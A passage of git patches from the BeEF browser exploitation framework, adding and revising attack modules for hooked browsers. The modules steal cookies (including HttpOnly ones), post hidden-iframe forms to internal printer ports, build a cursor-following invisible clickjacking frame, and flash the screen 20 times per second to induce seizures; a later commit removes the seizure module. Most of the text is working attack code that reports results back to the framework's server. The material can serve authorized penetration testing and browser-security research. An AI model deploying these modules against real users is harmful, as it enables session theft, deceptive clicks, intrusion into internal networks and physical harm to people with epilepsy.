If a URL to steal cookies from is not specified then will steal _all_ cookies (this can be a lot!)" + authors: ["mh"] + target: + working: ["C"] + not_working: ["All"] diff --git a/modules/chrome_extensions/get_all_cookies/module.rb b/modules/chrome_extensions/get_all_cookies/module.rb new file mode 100755 index 000000000..1b1a7ca8e --- /dev/null +++ b/modules/chrome_extensions/get_all_cookies/module.rb @@ -0,0 +1,31 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +class Get_all_cookies < BeEF::Core::Command + + def self.options + + return [ + {'name' =>'url', 'ui_label'=>'Domain to steal cookies from e.g. http://facebook.com', 'value' => 'default_all'} + ] + end + + def post_execute + content = {} + content['Return'] = @datastore['return'] + save content + end + +end From 1c9310f89f5d369ae93ef1bc12d49a0a8725365b Mon Sep 17 00:00:00 2001 From: bcoles Date: Tue, 29 May 2012 20:02:16 +0930 Subject: [PATCH 14/26] Added Induce Seizure module Disabled by default --- .../induce_seizure/command.js | 31 +++++++++++++++++ .../induce_seizure/config.yaml | 25 ++++++++++++++ .../induce_seizure/module.rb | 33 +++++++++++++++++++ 3 files changed, 89 insertions(+) create mode 100644 modules/social_engineering/induce_seizure/command.js create mode 100644 modules/social_engineering/induce_seizure/config.yaml create mode 100644 modules/social_engineering/induce_seizure/module.rb diff --git a/modules/social_engineering/induce_seizure/command.js b/modules/social_engineering/induce_seizure/command.js new file mode 100644 index 000000000..6ab5025f7 --- /dev/null +++ b/modules/social_engineering/induce_seizure/command.js @@ -0,0 +1,31 @@ +// +// Copyright 2012 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +beef.execute(function() { + + var flashes_per_second = "<%= @flashes_per_second %>"; + var toggle = false; + var task = setInterval(function() { + if(toggle = !toggle) { + document.body.style.backgroundColor = '#000'; + } else { + document.body.style.backgroundColor = '#fff'; + } + }, Math.floor(1000/flashes_per_second)); + + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=attempting to exploit neurological disorder in OSI layer 8'); + +}); + diff --git a/modules/social_engineering/induce_seizure/config.yaml b/modules/social_engineering/induce_seizure/config.yaml new file mode 100644 index 000000000..57f07bf8f --- /dev/null +++ b/modules/social_engineering/induce_seizure/config.yaml @@ -0,0 +1,25 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +beef: + module: + induce_seizure: + enable: false + category: "Social Engineering" + name: "Induce Seizure" + description: "This module causes the user's screen to flash from black to white multiple times per second.
For more information see
http://www.w3.org/TR/WCAG10-CORE-TECHS/#flicker" + authors: ["bcoles"] + target: + user_notify: ['ALL'] diff --git a/modules/social_engineering/induce_seizure/module.rb b/modules/social_engineering/induce_seizure/module.rb new file mode 100644 index 000000000..b2399ee2c --- /dev/null +++ b/modules/social_engineering/induce_seizure/module.rb @@ -0,0 +1,33 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +class Induce_seizure < BeEF::Core::Command + + def self.options + return [ + {'name' => 'flashes_per_second', 'description' => 'Flashes per second', 'ui_label' => 'Flashes per second', 'value' => '20' }, + ] + end + + # + # This method is being called when a zombie sends some + # data back to the framework. + # + def post_execute + + save({'result' => @datastore['result']}) + end + +end From 8dc426109430100ab0eec3cba424e12e1f9e9c20 Mon Sep 17 00:00:00 2001 From: bcoles Date: Tue, 29 May 2012 20:37:14 +0930 Subject: [PATCH 15/26] Updated get_all_cookies module description --- modules/chrome_extensions/get_all_cookies/config.yaml | 2 +- modules/chrome_extensions/get_all_cookies/module.rb | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/chrome_extensions/get_all_cookies/config.yaml b/modules/chrome_extensions/get_all_cookies/config.yaml index afb1db64e..04cc73ebd 100755 --- a/modules/chrome_extensions/get_all_cookies/config.yaml +++ b/modules/chrome_extensions/get_all_cookies/config.yaml @@ -19,7 +19,7 @@ beef: enable: true category: "Chrome Extensions" name: "Get All Cookies" - description: "Steal cookies even HTTPonly ones (providing the hooked extension has cookies access)
If a URL to steal cookies from is not specified then will steal _all_ cookies (this can be a lot!)" + description: "Steal cookies, even HttpOnly cookies, providing the hooked extension has cookies access.
If a URL is not specified then all cookies are returned (this can be a lot!)" authors: ["mh"] target: working: ["C"] diff --git a/modules/chrome_extensions/get_all_cookies/module.rb b/modules/chrome_extensions/get_all_cookies/module.rb index 1b1a7ca8e..362e62d4f 100755 --- a/modules/chrome_extensions/get_all_cookies/module.rb +++ b/modules/chrome_extensions/get_all_cookies/module.rb @@ -18,7 +18,7 @@ class Get_all_cookies < BeEF::Core::Command def self.options return [ - {'name' =>'url', 'ui_label'=>'Domain to steal cookies from e.g. http://facebook.com', 'value' => 'default_all'} + {'name' =>'url', 'ui_label'=>'Domain (e.g. http://facebook.com)', 'value' => 'default_all'} ] end From 1b9153485ebbc7c0a0561e608c25a63207c47b79 Mon Sep 17 00:00:00 2001 From: bcoles Date: Tue, 29 May 2012 20:41:41 +0930 Subject: [PATCH 16/26] Removed Induce Seizure module There is no reason what so ever for browsers to be able to cause the screen to flicker. This issue has been known for a very long time. Maybe it's time browser developers consider the health of their users. --- Can cows get epilepsy? Breeds such as Swedish Red Cattle, Hereford and Angus have been reported to suffer epilepsy. Source: http://www.kgbanswers.co.uk/can-cows-get-epilepsy/2217549 Think of the cows. --- .../induce_seizure/command.js | 31 ----------------- .../induce_seizure/config.yaml | 25 -------------- .../induce_seizure/module.rb | 33 ------------------- 3 files changed, 89 deletions(-) delete mode 100644 modules/social_engineering/induce_seizure/command.js delete mode 100644 modules/social_engineering/induce_seizure/config.yaml delete mode 100644 modules/social_engineering/induce_seizure/module.rb diff --git a/modules/social_engineering/induce_seizure/command.js b/modules/social_engineering/induce_seizure/command.js deleted file mode 100644 index 6ab5025f7..000000000 --- a/modules/social_engineering/induce_seizure/command.js +++ /dev/null @@ -1,31 +0,0 @@ -// -// Copyright 2012 Wade Alcorn wade@bindshell.net -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. -// -beef.execute(function() { - - var flashes_per_second = "<%= @flashes_per_second %>"; - var toggle = false; - var task = setInterval(function() { - if(toggle = !toggle) { - document.body.style.backgroundColor = '#000'; - } else { - document.body.style.backgroundColor = '#fff'; - } - }, Math.floor(1000/flashes_per_second)); - - beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=attempting to exploit neurological disorder in OSI layer 8'); - -}); - diff --git a/modules/social_engineering/induce_seizure/config.yaml b/modules/social_engineering/induce_seizure/config.yaml deleted file mode 100644 index 57f07bf8f..000000000 --- a/modules/social_engineering/induce_seizure/config.yaml +++ /dev/null @@ -1,25 +0,0 @@ -# -# Copyright 2012 Wade Alcorn wade@bindshell.net -# -# Licensed under the Apache License, Version 2.0 (the "License"); -# you may not use this file except in compliance with the License. -# You may obtain a copy of the License at -# -# http://www.apache.org/licenses/LICENSE-2.0 -# -# Unless required by applicable law or agreed to in writing, software -# distributed under the License is distributed on an "AS IS" BASIS, -# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -# See the License for the specific language governing permissions and -# limitations under the License. -# -beef: - module: - induce_seizure: - enable: false - category: "Social Engineering" - name: "Induce Seizure" - description: "This module causes the user's screen to flash from black to white multiple times per second.
For more information see http://www.w3.org/TR/WCAG10-CORE-TECHS/#flicker" - authors: ["bcoles"] - target: - user_notify: ['ALL'] diff --git a/modules/social_engineering/induce_seizure/module.rb b/modules/social_engineering/induce_seizure/module.rb deleted file mode 100644 index b2399ee2c..000000000 --- a/modules/social_engineering/induce_seizure/module.rb +++ /dev/null @@ -1,33 +0,0 @@ -# -# Copyright 2012 Wade Alcorn wade@bindshell.net -# -# Licensed under the Apache License, Version 2.0 (the "License"); -# you may not use this file except in compliance with the License. -# You may obtain a copy of the License at -# -# http://www.apache.org/licenses/LICENSE-2.0 -# -# Unless required by applicable law or agreed to in writing, software -# distributed under the License is distributed on an "AS IS" BASIS, -# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -# See the License for the specific language governing permissions and -# limitations under the License. -# -class Induce_seizure < BeEF::Core::Command - - def self.options - return [ - {'name' => 'flashes_per_second', 'description' => 'Flashes per second', 'ui_label' => 'Flashes per second', 'value' => '20' }, - ] - end - - # - # This method is being called when a zombie sends some - # data back to the framework. - # - def post_execute - - save({'result' => @datastore['result']}) - end - -end From d76c0a39c7515780da984fcc5cb1a02075b24177 Mon Sep 17 00:00:00 2001 From: bcoles Date: Wed, 30 May 2012 09:24:08 +0930 Subject: [PATCH 17/26] Trivial readme updates --- README.mkd | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/README.mkd b/README.mkd index 4396db7cd..79df0d1af 100644 --- a/README.mkd +++ b/README.mkd @@ -72,13 +72,13 @@ __The following is for the impatient.__ For full installation details (including on Microsoft Windows), please refer to INSTALL.txt. - $ bash -s stable < <(curl -s https://raw.github.com/beefproject/beef/a6a7536e736e7788e12df91756a8f132ced24970/install-beef) + $ bash -s stable < <(curl -s https://raw.github.com/beefproject/beef/a6a7536e736e7788e12df91756a8f132ced24970/install-beef) Usage ----- -To get started, simply execute beef and follow the instrustions: +To get started, simply execute beef and follow the instructions: - $ ./beef + $ ./beef From fdd9d2c55505cc295b7efdcebaec9b6d368c986f Mon Sep 17 00:00:00 2001 From: bcoles Date: Wed, 30 May 2012 17:11:34 +0930 Subject: [PATCH 18/26] Added Cross-Site Printing module --- modules/ipec/cross_site_printing/command.js | 69 ++++++++++++++++++ modules/ipec/cross_site_printing/config.yaml | 25 +++++++ modules/ipec/cross_site_printing/module.rb | 77 ++++++++++++++++++++ 3 files changed, 171 insertions(+) create mode 100644 modules/ipec/cross_site_printing/command.js create mode 100644 modules/ipec/cross_site_printing/config.yaml create mode 100644 modules/ipec/cross_site_printing/module.rb diff --git a/modules/ipec/cross_site_printing/command.js b/modules/ipec/cross_site_printing/command.js new file mode 100644 index 000000000..49a0ef690 --- /dev/null +++ b/modules/ipec/cross_site_printing/command.js @@ -0,0 +1,69 @@ +// +// Copyright 2012 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +beef.execute(function() { + + var target_ip = "<%= @ip %>"; + var target_port = "<%= @port %>"; + + // send a request + function send_msg(ip, port) { + + // create iframe + var iframe = document.createElement("iframe"); + iframe.setAttribute("id","ipc_cross_site_printing_<%= @command_id %>"); + iframe.setAttribute("style", "visibility:hidden;width:1px;height:1px;"); + document.body.appendChild(iframe); + iframe = document.getElementById("ipc_cross_site_printing_<%= @command_id %>"); + + // create form + var action = "http://" + ip + ":" + port + "/"; + myform=document.createElement("form"); + myform.setAttribute("name","data"); + myform.setAttribute("method","post"); + myform.setAttribute("enctype","multipart/form-data"); + myform.setAttribute("action",action); + iframe.contentWindow.document.body.appendChild(myform); + + // create message textarea + myExt = document.createElement("textarea"); + myExt.setAttribute("id","msg_<%= @command_id %>"); + myExt.setAttribute("name","msg_<%= @command_id %>"); + myExt.setAttribute("wrap","none"); + myExt.setAttribute("rows","70"); + myExt.setAttribute("cols","100"); + myform.appendChild(myExt); + + // send message + iframe.contentWindow.document.getElementById("msg_<%= @command_id %>").value = "<%= @msg.gsub(/"/, '\\"').gsub(/\r?\n/, '\\n') %>"; + myform.submit(); + + // clean up + setTimeout('document.body.removeChild(document.getElementById("ipc_cross_site_printing_<%= @command_id %>"));', 15000); + } + + // validate target + if (!target_port || !target_ip || isNaN(target_port)) { + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=malformed target host or target port'); + } else if (target_port > 65535 || target_port < 0) { + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=invalid target port'); + // send request and wait for reply + } else { + send_msg(target_ip, target_port); + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Message sent'); + } + +}); + diff --git a/modules/ipec/cross_site_printing/config.yaml b/modules/ipec/cross_site_printing/config.yaml new file mode 100644 index 000000000..370b690bd --- /dev/null +++ b/modules/ipec/cross_site_printing/config.yaml @@ -0,0 +1,25 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +beef: + module: + cross_site_printing: + enable: true + category: "IPEC" + name: "Cross-Site Printing (XSP)" + description: "Using Inter-protocol Exploitation/Communication (IPEC) the hooked browser will send a message to a listening print port (9100 by default) on the target specified in the 'Target Address' input field.

The target address can be on the hooked browser's subnet which is potentially not directly accessible from the Internet." + authors: ["bcoles"] + target: + working: ["FF"] diff --git a/modules/ipec/cross_site_printing/module.rb b/modules/ipec/cross_site_printing/module.rb new file mode 100644 index 000000000..e74227dee --- /dev/null +++ b/modules/ipec/cross_site_printing/module.rb @@ -0,0 +1,77 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +class Cross_site_printing < BeEF::Core::Command + + def self.options + return [ + {'name'=>'ip', 'ui_label' => 'Target Address', 'value' => 'localhost'}, + {'name'=>'port', 'ui_label' => 'Target Port', 'value' => '9100'}, + {'name'=>'msg', 'ui_label' => 'Message', 'description' => 'Message to print', 'type'=>'textarea', 'value'=>"********************************************************************** + + .O, + lkOl + od cOc + 'X, cOo. + cX, ,dkc. + BeEF ;Kd. ,odo,. + .dXl . .:xkl' + 'OKc .;c' ,oOk: + ,kKo. .cOkc. .lOk:. + .dXx. :KWKo. 'dXd. + .oXx. cXWW0c..dXd. + oW0 .OWWWNd.'KK. + ....,;lkNWx KWWWWX:'XK. + ,o:, .,:odkO00XNK0Okxdlc,. .KWWWWWWddWd + K::Ol .:d0NXK0OkxdoxO' .lXWWWWWWWWKW0 + od d0. .l0NKOxdooooooox0. .,cdOXWWWWWWWWWWWWWx + :O ;K; ;kN0kooooooooooooK: .':ok0NWWWWWWWWWWWWWWWWWWK. + 'X .Kl ;KNOdooooooooooooooXkkXWWWWWWWWWWWWWWWWWWWWWWWNd. + .N. o. .Kl 'OW0doooooooooooooodkXWWWWWWWWWWWWWWWWWWWWWWWW0l. + 0l oK' .kO:';kNNkoooooooooooook0XWWWWWWWWWWWWWWWWWWWWWWWKx:. + lX.,WN: .:c:xWkoooooooooood0NWW0OWWWWWWWWWWWWWWWWWWWKo. + 0O.0WWk' .XKoooooooooooONWWNo dWWWWWWWWWWWWWWWWWl + oKkNWWWX00NWXdooooooooxXWWNk' dWWWWWWWWWWWWWWWWX + .cONWWWWWWWWOoooooooONWWK:...c0WWWWWWWWWWWWWWWWWW: + .;oONWWWWxooooodKWWWWWWWWWWWWWWWWWWWWWWWWWWWWWX. + 'XW0oooookNWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWd + oW0ooooo0WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWO + ;NXdooodKWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWx + ;xkOOdooooxOO0KNWWWWWWWWWWWWWWWWWWWWWWWWWWWWWX. + .NOoddxkkkkxxdoookKWWWWWWWWWWWWWWWWWWWWWWWWWWX' + :KNWWWWWWWWWWX0xooONWWWWWWWWWWWWWWWWWWWWWWWk. + .xNXxKWWWWWWWOXWWXxoKWWWWWWWWWWWWWWWWWWWWNk' + OWl cNWWWWWWWk oNWNxKWWWWWWWWWWWWWWWWWNOl. + ,Wk xWWWWWWWWd xWWNWWWWWWWWWWWWXOdc,. + .N0 lOXNX0x; .KWWWWWWWWWWWNkc. + :NO, 'lXWWWWWWWWWNk:. + .dXN0OkxkO0NWWWWWWWWWWKl. + .';o0WWWWWWWWWWWNk; + .cxOKXKKOd;. + +**********************************************************************", 'width'=>'200px' }, + ] + end + + def post_execute + content = {} + content['result'] = @datastore['result'] if not @datastore['result'].nil? + content['fail'] = @datastore['fail'] if not @datastore['fail'].nil? + if content.empty? + content['fail'] = 'No data was returned.' + end + save content + end +end From 9e2ac56ea65bb628106d8aa95ee165c890558f8a Mon Sep 17 00:00:00 2001 From: bcoles Date: Wed, 30 May 2012 19:40:29 +0930 Subject: [PATCH 19/26] Added clickjacking module Fixes issue 105 --- extensions/demos/html/clickjack.html | 4 + .../clickjacking/command.js | 92 +++++++++++++++++++ .../clickjacking/config.yaml | 27 ++++++ .../social_engineering/clickjacking/module.rb | 34 +++++++ 4 files changed, 157 insertions(+) create mode 100644 extensions/demos/html/clickjack.html create mode 100644 modules/social_engineering/clickjacking/command.js create mode 100644 modules/social_engineering/clickjacking/config.yaml create mode 100644 modules/social_engineering/clickjacking/module.rb diff --git a/extensions/demos/html/clickjack.html b/extensions/demos/html/clickjack.html new file mode 100644 index 000000000..486fe35b0 --- /dev/null +++ b/extensions/demos/html/clickjack.html @@ -0,0 +1,4 @@ +

 

+moooooooo +

 

+ diff --git a/modules/social_engineering/clickjacking/command.js b/modules/social_engineering/clickjacking/command.js new file mode 100644 index 000000000..e2870e723 --- /dev/null +++ b/modules/social_engineering/clickjacking/command.js @@ -0,0 +1,92 @@ +// +// Copyright 2012 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +beef.execute(function() { + + var offset_top = "<%= @offset_top %>"; + var offset_left = "<%= @offset_left %>"; + var url = "<%= @url %>"; + + var debug = false; + if (debug) opacity = 10; else opacity = 0; + + // create container + var cjcontainer = document.createElement('div'); + cjcontainer.id = "cjcontainer"; + cjcontainer.setAttribute("style", "-moz-opacity:"+opacity); + cjcontainer.style.zIndex = 999; + cjcontainer.style.border = "none"; + cjcontainer.style.width = "30px"; + cjcontainer.style.height = "20px"; + cjcontainer.style.overflow = "hidden"; + cjcontainer.style.position = "absolute"; + cjcontainer.style.opacity = opacity; + cjcontainer.style.filter = "alpha(opacity="+opacity+")"; + cjcontainer.style.cursor = "default"; + document.body.appendChild(cjcontainer); + + // create iframe + var cjiframe = document.createElement('iframe'); + cjiframe.id = "cjiframe"; + cjiframe.src = url; + cjiframe.scrolling = "no"; + cjiframe.frameBorder = "0"; + cjiframe.allowTransparency = "true"; + cjiframe.style.overflow = "hidden"; + cjiframe.style.position = "absolute"; + cjiframe.style.top = offset_top+"px"; + cjiframe.style.left = offset_left+"px"; + cjiframe.style.width = "200px"; + cjiframe.style.height = "100px"; + cjiframe.style.border = "none"; + cjiframe.style.cursor = "default"; + cjcontainer.appendChild(cjiframe); + + // followmouse code by rsnake + // http://ha.ckers.org/weird/followmouse.html + // modified by bcoles + function followmouse(e){ + + var xcoord = 0; + var ycoord = 0; + var gettrailobj = function() { + if (document.getElementById) + return document.getElementById("cjcontainer").style; + else if (document.all) + return document.all.container.style; + } + if (typeof e != "undefined") { + xcoord += e.pageX - 10; + ycoord += e.pageY - 15; + } else if (typeof window.event != "undefined") { + xcoord += document.body.scrollLeft + event.clientX; + ycoord += document.body.scrollTop + event.clientY; + } + var docwidth = document.all ? document.body.scrollLeft + document.body.clientWidth : pageXOffset+window.innerWidth - 15; + var docheight = document.all ? Math.max(document.body.scrollHeight, document.body.clientHeight) : Math.max(document.body.offsetHeight, window.innerHeight) + gettrailobj().left = xcoord + "px"; + gettrailobj().top = ycoord + "px"; + } + + // hook to mousemove event + if (window.addEventListener) { + window.addEventListener('mousemove', followmouse, false); + } else if (window.attachEvent) { + window.attachEvent('mousemove', followmouse); + } + + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'clickjack=hooked mousemove event'); + +}); diff --git a/modules/social_engineering/clickjacking/config.yaml b/modules/social_engineering/clickjacking/config.yaml new file mode 100644 index 000000000..ccd847e11 --- /dev/null +++ b/modules/social_engineering/clickjacking/config.yaml @@ -0,0 +1,27 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +beef: + module: + clickjacking: + enable: true + category: "Social Engineering" + name: "Clickjacking" + description: "This module serves as a template for clickjacking attacks.
Simply specify the target URL and the offset (in pixels) for the iframe content. The iframe will follow the mouse cursor." + authors: ["bcoles"] + target: + user_notify: ["FF", "C"] + not_working: ["IE"] + diff --git a/modules/social_engineering/clickjacking/module.rb b/modules/social_engineering/clickjacking/module.rb new file mode 100644 index 000000000..afa759299 --- /dev/null +++ b/modules/social_engineering/clickjacking/module.rb @@ -0,0 +1,34 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +class Clickjacking < BeEF::Core::Command + + def self.options + configuration = BeEF::Core::Configuration.instance + uri = "http://#{configuration.get("beef.http.host")}:#{configuration.get("beef.http.port")}/demos/clickjack.html" + return [ + { 'name' => 'url', 'description' => 'Target URL', 'ui_label' => 'Target URL', 'value' => uri, 'width'=>'400px' }, + { 'name' => 'offset_top', 'description' => 'Offset Top (in pixels)', 'ui_label' => 'Offset Top (px)', 'value' => '-40', 'width'=>'150px' }, + { 'name' => 'offset_left', 'description' => 'Offset Left (in pixels)', 'ui_label' => 'Offset Left (px)', 'value' => '-10', 'width'=>'150px' } + ] + end + + def post_execute + content = {} + content['clickjack'] = @datastore['clickjack'] + save content + end + +end From 729336df537a9fd2b2af8244dd7b673f9d1a6f4d Mon Sep 17 00:00:00 2001 From: bcoles Date: Fri, 1 Jun 2012 10:49:46 +0930 Subject: [PATCH 20/26] Added debug mode to clickjacking module --- modules/social_engineering/clickjacking/command.js | 2 +- modules/social_engineering/clickjacking/config.yaml | 2 +- modules/social_engineering/clickjacking/module.rb | 3 ++- 3 files changed, 4 insertions(+), 3 deletions(-) diff --git a/modules/social_engineering/clickjacking/command.js b/modules/social_engineering/clickjacking/command.js index e2870e723..70985c019 100644 --- a/modules/social_engineering/clickjacking/command.js +++ b/modules/social_engineering/clickjacking/command.js @@ -18,8 +18,8 @@ beef.execute(function() { var offset_top = "<%= @offset_top %>"; var offset_left = "<%= @offset_left %>"; var url = "<%= @url %>"; + var debug = <%= @debug %>; - var debug = false; if (debug) opacity = 10; else opacity = 0; // create container diff --git a/modules/social_engineering/clickjacking/config.yaml b/modules/social_engineering/clickjacking/config.yaml index ccd847e11..0d9d51248 100644 --- a/modules/social_engineering/clickjacking/config.yaml +++ b/modules/social_engineering/clickjacking/config.yaml @@ -19,7 +19,7 @@ beef: enable: true category: "Social Engineering" name: "Clickjacking" - description: "This module serves as a template for clickjacking attacks.
Simply specify the target URL and the offset (in pixels) for the iframe content. The iframe will follow the mouse cursor." + description: "This module serves as a template for clickjacking attacks.
Simply specify the target URL and the offset (in pixels) for the iframe content. The iframe will follow the mouse cursor.
Debug mode creates a visible iframe for testing purposes." authors: ["bcoles"] target: user_notify: ["FF", "C"] diff --git a/modules/social_engineering/clickjacking/module.rb b/modules/social_engineering/clickjacking/module.rb index afa759299..c005d87c5 100644 --- a/modules/social_engineering/clickjacking/module.rb +++ b/modules/social_engineering/clickjacking/module.rb @@ -21,7 +21,8 @@ class Clickjacking < BeEF::Core::Command return [ { 'name' => 'url', 'description' => 'Target URL', 'ui_label' => 'Target URL', 'value' => uri, 'width'=>'400px' }, { 'name' => 'offset_top', 'description' => 'Offset Top (in pixels)', 'ui_label' => 'Offset Top (px)', 'value' => '-40', 'width'=>'150px' }, - { 'name' => 'offset_left', 'description' => 'Offset Left (in pixels)', 'ui_label' => 'Offset Left (px)', 'value' => '-10', 'width'=>'150px' } + { 'name' => 'offset_left', 'description' => 'Offset Left (in pixels)', 'ui_label' => 'Offset Left (px)', 'value' => '-10', 'width'=>'150px' }, + { 'name' => 'debug', 'type' => 'combobox', 'ui_label' => 'Debug Mode', 'store_type' => 'arraystore', 'store_fields' => ['debug'], 'store_data' => [['true'],['false']], 'valueField' => 'debug', 'value' => 'false', editable: false, 'displayField' => 'debug', 'mode' => 'local', 'autoWidth' => true } ] end From defc5987c700b875ce632154270f9d1feec37d2c Mon Sep 17 00:00:00 2001 From: Ben Waugh Date: Tue, 5 Jun 2012 07:28:50 +1000 Subject: [PATCH 21/26] Added #!/bin/bash to install script --- install-beef | 1 + 1 file changed, 1 insertion(+) diff --git a/install-beef b/install-beef index 2669588ff..5428316c6 100644 --- a/install-beef +++ b/install-beef @@ -1,3 +1,4 @@ +#!/bin/bash # # Copyright 2012 Wade Alcorn wade@bindshell.net # From 6396f7aa5a3df1a554f0d873a18ff75e81d91e8f Mon Sep 17 00:00:00 2001 From: bcoles Date: Tue, 5 Jun 2012 23:27:21 +0930 Subject: [PATCH 22/26] Fixes issue #688 Added spaces to comma delemetered data in config.yaml files This should fix an issue reported to affect Ruby 1.9.2 --- modules/browser/get_visited_domains/config.yaml | 4 ++-- modules/browser/hooked_domain/ajax_fingerprint/config.yaml | 4 ++-- modules/browser/hooked_domain/alert_dialog/config.yaml | 2 +- modules/browser/hooked_domain/deface_web_page/config.yaml | 2 +- modules/browser/hooked_domain/get_cookie/config.yaml | 2 +- modules/browser/hooked_domain/get_local_storage/config.yaml | 2 +- modules/browser/hooked_domain/get_page_html/config.yaml | 2 +- modules/browser/hooked_domain/get_page_links/config.yaml | 2 +- modules/browser/hooked_domain/get_session_storage/config.yaml | 2 +- .../browser/hooked_domain/get_stored_credentials/config.yaml | 2 +- modules/browser/hooked_domain/link_rewrite/config.yaml | 2 +- .../browser/hooked_domain/link_rewrite_sslstrip/config.yaml | 2 +- .../hooked_domain/mobilesafari_address_spoofing/config.yaml | 4 ++-- modules/browser/hooked_domain/prompt_dialog/config.yaml | 2 +- modules/browser/hooked_domain/replace_video/config.yaml | 2 +- modules/browser/hooked_domain/rickroll/config.yaml | 2 +- modules/browser/hooked_domain/site_redirect/config.yaml | 2 +- .../browser/hooked_domain/site_redirect_iframe/config.yaml | 2 +- modules/exploits/camera/dlink_dcs_series_csrf/config.yaml | 2 +- modules/exploits/glassfish_war_upload_xsrf/config.yaml | 2 +- modules/exploits/router/bt_home_hub_csrf/config.yaml | 2 +- modules/exploits/router/comtrend_ct5367_csrf/config.yaml | 2 +- modules/exploits/router/comtrend_ct5624_csrf/config.yaml | 2 +- modules/exploits/router/dlink_dsl500t_csrf/config.yaml | 2 +- 